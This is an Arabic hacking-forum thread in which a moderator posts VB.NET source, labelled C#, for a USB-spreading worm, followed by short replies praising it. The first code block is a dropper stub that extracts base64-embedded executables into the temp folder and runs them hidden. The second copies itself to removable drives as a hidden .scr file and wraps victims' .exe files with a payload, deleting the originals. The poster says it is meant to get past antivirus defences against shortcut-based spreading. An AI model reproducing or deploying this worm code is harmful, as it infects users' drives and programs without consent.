حالة الموضوع:
مغلق
  1. ♕| s c я є α м |♕

    ♕| s c я є α м |♕ IP: 90.148.234.7 مشرف

    الأنتساب:
    ‏23 ديسمبر 2014
    المشاركات:
    630
    الإعجابات المتلقاة:
    668
    نقاط الجائزة:
    93
    الإقامة:
    7
    [​IMG]



    ---------------------------------------------


    السلام عليكم ورحمة الله وبركاته {1!$1}


    أقدم لكم طريقة في أنتشار اليو أس بي


    نعرف ان الحمايات عملت مضاد لـ الانتشارات التي تحمل ملفات link في الفلاشه


    يعني حتى لو اللنك نضيف الحمايه تعتبرو فيروس !! ومن سلبيات اختصارات اللنك في الفلاشه ان المستخدم لو نقل ملف مصاب من الفلاشه وارسله لصاحبه في السكاي بي مثلا راح يوصله اختصار بدون سيرفر يعني هنا يوقف الانتشار !!


    :lolًٌُ:ٌ


    https://www.youtube.com/watch?v=fIFyNkg4oDg&feature=youtu.be






    St
    [C#]Public Class Form1
    Dim x, xx, xxx As String
    Dim CQ() As String
    Public Function GetRandom(ByVal Min As Integer, ByVal Max As Integer) As Integer
    Static Generator As System.Random = New System.Random()
    Return Generator.Next(Min, Max)
    End Function
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    Me.TransparencyKey = BackColor
    Me.Hide()
    Me.ShowInTaskbar = False
    FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
    x = Space(LOF(1))
    xx = Space(LOF(1))
    xxx = Space(LOF(1))
    FileGet(1, x)
    FileGet(1, xx)
    FileGet(1, xxx)
    CQ = Split(x, "qwert")
    Dim severname As String = GetRandom(0, 99999999)
    Dim progrname As String = GetRandom(0, 99999999)
    IO.File.WriteAllBytes(IO.Path.GetTempPath & "\" & severname & ".exe", Convert.FromBase64String(CQ(1)))
    IO.File.WriteAllBytes(IO.Path.GetTempPath & "\" & progrname & ".exe", Convert.FromBase64String(CQ(2)))
    Process.Start(IO.Path.GetTempPath & "\" & severname & ".exe")
    Process.Start(IO.Path.GetTempPath & "\" & progrname & ".exe")
    End
    End Sub
    Private Sub Form1_Activated(sender As Object, e As EventArgs) Handles MyBase.Activated
    Me.Visible = False
    Me.Hide()
    End Sub
    End Class
    [/C#]








    ---------------------------------------------






    S C


    [C#]Imports System.IO
    Public Class Form1
    Dim y As String = "qwert"
    Public STUB As String
    Dim O1, O2 As New OpenFileDialog
    Dim text1 As String
    Dim text2 As String
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    On Error Resume Next
    Timer1.Enabled = True
    '###############################################
    Timer2.Enabled = True
    End Sub
    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
    On Error Resume Next
    Dim str As String
    For Each str In Directory.GetFiles((Application.StartupPath & ""), "*.exe")
    text1 = str
    text2 = Text + "Virose111111.scr" '
    Next
    '###############################################
    Dim AA As String = "C:\Worme\d.S C R E A M"
    O1.FileName = text1
    O2.FileName = text2
    If O1.FileName.Length > 0 And O2.FileName.Length > 0 Then
    Dim server, program As String
    server = Convert.ToBase64String(IO.File.ReadAllBytes(O1.FileName))
    program = Convert.ToBase64String(IO.File.ReadAllBytes(O2.FileName))
    FileOpen(1, AA, OpenMode.Binary)
    FilePut(1, My.Resources.Worms_Stub)
    FilePut(1, y & server) ' 1
    FilePut(1, y & program)
    FileClose(1)
    IO.File.Delete(text1)
    text1 = text1.Replace(Text, " ").Trim()
    File.Move("C:\Worme\d.S C R E A M", Text + text1 + ".scr")
    End If
    End Sub


    Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
    '###############################################
    On Error Resume Next
    System.IO.Directory.CreateDirectory("C:\Worme")
    For Each xz In IO.DriveInfo.GetDrives
    If xz.DriveType = IO.DriveType.Removable Then
    Text = xz.Name


    '###############################################
    For Each Section7 In IO.DriveInfo.GetDrives
    Dim Section6 As String = Section7.ToString & ",", Section5 As String() = Split(Section6, ",")
    Dim exe0 As String = ("Virose111111.scr")
    For Section4 = 0 To Section5.Rank - 1
    IO.File.Copy(Application.ExecutablePath, Section5(Section4) & exe0, True)
    Next
    Next
    '###############################################
    Dim T As Boolean
    T = False
    Dim RegX As Microsoft.Win32.RegistryKey
    RegX = Microsoft.Win32.Registry.CurrentUser
    Dim S As String() = RegX.GetSubKeyNames
    For Each A As String In S
    If A = "scream" Then
    T = True
    End If
    Next
    If T = True Then
    RegX = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("scream", True)
    Dim x As Integer = RegX.GetValue("val")
    x = x + 1 '+
    RegX.SetValue("val", x)
    If x = 2 Or x > 2 Then
    Timer2.Enabled = False
    Process.Start(Text + "Virose111111.scr")
    System.IO.File.SetAttributes(Text + "Virose111111.scr", IO.FileAttributes.Hidden)
    If x = 2 Or x > 2 Then Microsoft.Win32.Registry.CurrentUser.DeleteSubKey("scream")
    If x = 1 Or x > 1 Then End
    End If
    Else
    RegX = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("scream")
    RegX.SetValue("val", 1)
    End If
    '###############################################
    Timer2.Enabled = False
    Else
    Timer2.Enabled = True
    End If


    Next
    End Sub
    End Class
    [/C#]



    =============================

    الكود يستهدف الملفات exe التنفيذيه فقط
    الانتشار راح يكون بصيغة Scr
     
    1 person likes this.
  2. Ghost RAT

    Ghost RAT مراقب عآم

    الأنتساب:
    ‏12 ابريل 2015
    المشاركات:
    511
    الإعجابات المتلقاة:
    179
    نقاط الجائزة:
    43
    الجنس:
    ذكر
    الإقامة:
    IRAQ
    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    عاشت ايدك حبيبي
     
  3. Reco_X

    Reco_X Developer

    الأنتساب:
    ‏16 مايو 2015
    المشاركات:
    4
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    يعطيك العافية يا غالى
     
  4. أبو ريتاج

    أبو ريتاج Developer

    الأنتساب:
    ‏8 ابريل 2012
    المشاركات:
    13
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    الوظيفة:
    مبرمج تطبيقات ويندوز بالغة السي شارب ومطور ومبرمج
    الإقامة:
    عدن ثغر اليمن الباسم
    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    شكرا اخي الكريم
    بارك الله فيك
     
  5. OsAmA-DZ

    OsAmA-DZ Developer

    الأنتساب:
    ‏6 ديسمبر 2012
    المشاركات:
    12
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    بآرك آلله فيــك ، آبدعـت آخي آلكريمَ ..
     
  6. جوني العراقي

    جوني العراقي V • I • P

    الأنتساب:
    ‏10 يناير 2014
    المشاركات:
    277
    الإعجابات المتلقاة:
    50
    نقاط الجائزة:
    28
    الوظيفة:
    حلاق
    الإقامة:
    NEDRLALND
    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    وعليكم سلام ورحمة الله وبركاتة
    بارك الله بيك صديقي مواضيعك كله ذهبية
     
  7. ♕| s c я є α м |♕

    ♕| s c я є α м |♕ IP: 90.148.234.7 مشرف

    الأنتساب:
    ‏23 ديسمبر 2014
    المشاركات:
    630
    الإعجابات المتلقاة:
    668
    نقاط الجائزة:
    93
    الإقامة:
    7
    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    اهلا وسهلا فيكم منورين الموضوع جميــعا حبايب قلبي ^_^
     
  8. سكيورتي ارهابي

    سكيورتي ارهابي ExpErt DeveloPer

    الأنتساب:
    ‏1 سبتمبر 2014
    المشاركات:
    691
    الإعجابات المتلقاة:
    43
    نقاط الجائزة:
    28
    الوظيفة:
    ماكسي مول
    الإقامة:
    دوله العراق العظيم
    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    بآرك آلله فيــك ، آبدعـت آخي آلكريمَ ..


    :{17}:
     
  9. حازم مشكله

    حازم مشكله V • I • P

    الأنتساب:
    ‏26 مارس 2015
    المشاركات:
    380
    الإعجابات المتلقاة:
    15
    نقاط الجائزة:
    18
    الجنس:
    ذكر
    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    عاشت ايدك يا بطل استمر
     
  10. |||ZA!KI|||

    |||ZA!KI||| موقوف لمخالفة الشروط

    الأنتساب:
    ‏19 مايو 2015
    المشاركات:
    18
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    3
    المخالفات
    3
    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    ابداع فابداع سلمت ايديك :{14}:
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة